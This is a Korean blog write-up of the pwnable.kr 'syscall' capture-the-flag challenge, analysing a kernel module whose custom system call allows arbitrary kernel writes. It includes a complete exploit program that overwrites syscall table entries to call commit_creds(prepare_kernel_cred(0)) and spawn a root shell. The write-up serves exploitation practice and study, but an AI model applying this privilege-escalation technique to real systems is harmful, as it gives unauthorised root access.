[pwnable.kr] syscall 풀이

2021. 10. 16. 23:54pwnable.kr

728x90

문제 제목 & 문제 정보

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

 

문제에서 들어가라는 링크에 들어가 보면 syscall.c라는 c소스코드를 화면에 띄워줍니다.

 

우선 코드 해석부터 해보겠습니다.

 

맨 마지막줄 -1번째 줄의 module_init( initmodule );은 커널이 실행되면 initmodule() 함수를 실행시킨다는 뜻입니다.

맨 마지막줄의 module_exit( exitmodule );은 커널이 종료될 때 exitmodule() 함수를 실행시킨다는 뜻입니다.

 

initmodule() 함수를 분석해보겠습니다.

 

sct 변수에 SYS_CALL_TABLE의 정보를 입력합니다.

그리고 syscall 번호 223번을 생성하고 sys_upper() 함수를 syscall table에 올립니다.

여기서 sys_upper() 함수를 보면 소문자를 대문자로 바꿔주는 함수라는걸 알 수 있습니다.

 

exitmodule() 함수는 그냥 return;만 들어있으므로 해설은 하지 않겠습니다.

 

이제 어떻게 문제를 풀어야 할지 생각해야하는데, 우선 루트 권한은 필수적으로 얻어야 할 것 같습니다.

커널에서 루트 권한을 획득하려면 commit_creds(prepare_kernel_cred(0));을 사용해야 합니다.

이 함수를 사용하면 uid, gid가 0이 되고, 그 후에 /bin/sh를 실행하면 루트 권한을 획득하게 됩니다.

 

그리고 코드에서 어느 부분에 취약점이 있는지를 봐야 하는데, sys_upper() 함수의 if문과 else문을 보겠습니다.

if문에서 out[i]=in[i]-0x20; else문에서 out[i]=in[i]; 이렇게 두 부분을 보면 둘 다 out에 in을 넣는 걸 볼 수 있습니다.

이 과정에서 out에 대한 overwrite가 가능하고, if문의 조건이 0x61~0x7a로 되어있으니 이 부분에 문자열이 없다면 어떤 위치, 어떤 문자열이던 상관없이 자유롭게 기입을 할 수 있게 됩니다.

 

이제 필요한 것은 prepare_kernel_cred(), commit_creds() 함수의 심볼입니다.

이 심볼은 /proc/kallsyms에 있는데, 이 경로에는 아주 많은 정보가 들어있으므로 grep을 이용해서 심볼을 찾는 게 정신건강에 이롭습니다.

 

두 함수의 심볼

이제 syscall table을 덮을 함수를 찾아야 하는데, commit_creds(prepare_kernel_cred(0));은 인자가 하나이므로 인자가 하나인 함수를 사용하면 되겠습니다.

(exit와 close 사용)

 

overwrite에 대한 시나리오는 이러합니다.

 

1. exit()는 prepare_kernel_cred() 함수로 overwrite

2. close()는 commit_creds() 함수로 overwrite

3. syscall 호출 (commit_creds(prepare_kernel_cred(0));)

 

그런데 시나리오 2번에서 \x6c에 대해 문제가 생기므로 (if문에서 주어진 범위를 벗어난다) 이를 \x60으로 고치고 12byte를 padding 해줍니다. (mov r1,r1=0x0110A0E1(\xe1\xa0\x10\x01))

 

#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>
#define SYS_UPPER 223
#define SYS_CALL_TABLE 0x8000e348

unsigned int **sct;

int main(){
	sct=(unsigned int**)SYS_CALL_TABLE;

	syscall(SYS_UPPER,"\xe1\xa0\x10\x01\xe1\xa0\x10\x01\xe1\xa0\x10\x01",0x8003f560); 
	syscall(SYS_UPPER,"\x24\xf9\x03\x80",&sct[12]);
	syscall(SYS_UPPER,"\x60\xf5\x03\x80",&sct[10]);
	syscall(7,syscall(2,0));

	system("/bin/sh");
	return 0;
}

FLAG 획득 완료
문제 풀이 성공

 

역시 커널은 한두 번 해봐선 되는 게 아닌 것 같습니다.

공부 많이 해야 할 듯.....

728x90